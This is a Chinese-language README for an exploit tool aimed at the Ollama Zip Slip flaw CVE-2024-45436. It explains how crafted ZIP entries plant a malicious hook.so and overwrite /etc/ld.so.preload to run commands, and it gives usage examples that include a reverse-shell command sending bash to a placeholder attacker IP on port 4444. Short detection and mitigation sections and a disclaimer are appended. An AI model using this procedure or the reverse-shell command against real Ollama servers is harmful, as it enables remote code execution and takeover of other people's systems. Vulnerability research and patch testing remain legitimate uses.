# Ollama CVE-2024-45436 漏洞利用工具 这是一个简洁高效的 Ollama ZIP 遍历漏洞 (CVE-2024-45436) 利用工具。 ## 漏洞描述 CVE-2024-45436 是 Ollama 0.1.47 版本之前存在的一个路径遍历漏洞(也称为 "Zip Slip")。该漏洞允许攻击者通过在 ZIP 文件解压操作过程中利用路径验证不当,将文件写入文件系统上的任意位置。 漏洞存在于 Ollama 的 `model.go` 文件中的 `extractFromZipFile` 函数,该函数负责提取模型文件。当 ZIP 文件包含带有目录遍历序列(`../`)的条目时,Ollama 会将这些文件解压到预期目录之外,从而允许攻击者覆盖关键系统文件。 ## 攻击原理 本工具通过以下方式利用漏洞: 1. 创建恶意共享对象文件(`hook.so`),其中包含可执行任意命令的代码 2. 将其打包到特制的 ZIP 文件中,包含路径遍历条目: - `../../../../../../../../../../etc/ld.so.preload` - 用于预加载自定义共享对象 - `../../../../../../../../../../tmp/hook.so` - 恶意共享对象本身 3. 通过 Ollama 的 blob API 上传 ZIP 文件 4. 创建引用上传的 blob 的模型 5. 通过请求 embeddings 触发执行 成功执行后,有效载荷将以 Ollama 服务相同的权限运行,可能获得 root 权限的远程代码执行。 ## 环境要求 - Python 3.6+ - 所需 Python 包: - requests - argparse - GCC(编译共享对象) - 运行 Linux 的易受攻击的 Ollama 实例(0.1.47 之前) ## 使用方法 ```bash python exp.py <目标URL> <命令> ``` ### 参数说明 - `目标URL`:易受攻击的 Ollama 实例 URL(如 http://example.com:11434) - `命令`:要在目标系统上执行的命令 ### 选项 - `--no-cleanup`:利用后不删除临时文件(用于调试) ### 使用示例 基本用法: ```bash python exp.py http://目标服务器:11434 "id > /tmp/pwned" ``` 反向 shell: ```bash python exp.py http://目标服务器:11434 "bash -c 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1'" ``` ## 免责声明 本工具仅供教育和授权安全测试目的使用。未经明确许可对系统进行未授权使用是非法和不道德的。作者对本软件的滥用不承担任何责任。 ## 漏洞检测 组织可以通过以下方式检测是否易受攻击: 1. 通过 `/api/version` 检查 Ollama 版本 2. 查找 `/etc/ld.so.preload` 或 `/tmp/hook.so` 中的意外文件 3. 监控异常的模型创建活动 ## 缓解措施 - 将 Ollama 更新到 0.1.47 或更高版本 - 如果无法立即更新,限制对 Ollama API 端点的网络访问 - 以最低权限运行 Ollama,不要使用 root 用户 ## 技术细节 该漏洞利用了 Ollama 的 ZIP 文件解压过程中的路径验证不当。当通过 API 加载模型时,应用程序从 ZIP 归档中提取文件而不正确地验证文件路径,从而允许目录遍历攻击。 Linux 中的 `ld.so.preload` 文件用于指定应在所有其他库之前加载的共享库。通过写入此文件,攻击者可以确保其恶意库被任何新进程加载,从而有效地劫持程序执行。 ## 许可证 本项目采用 MIT 许可证 - 详见 LICENSE 文件。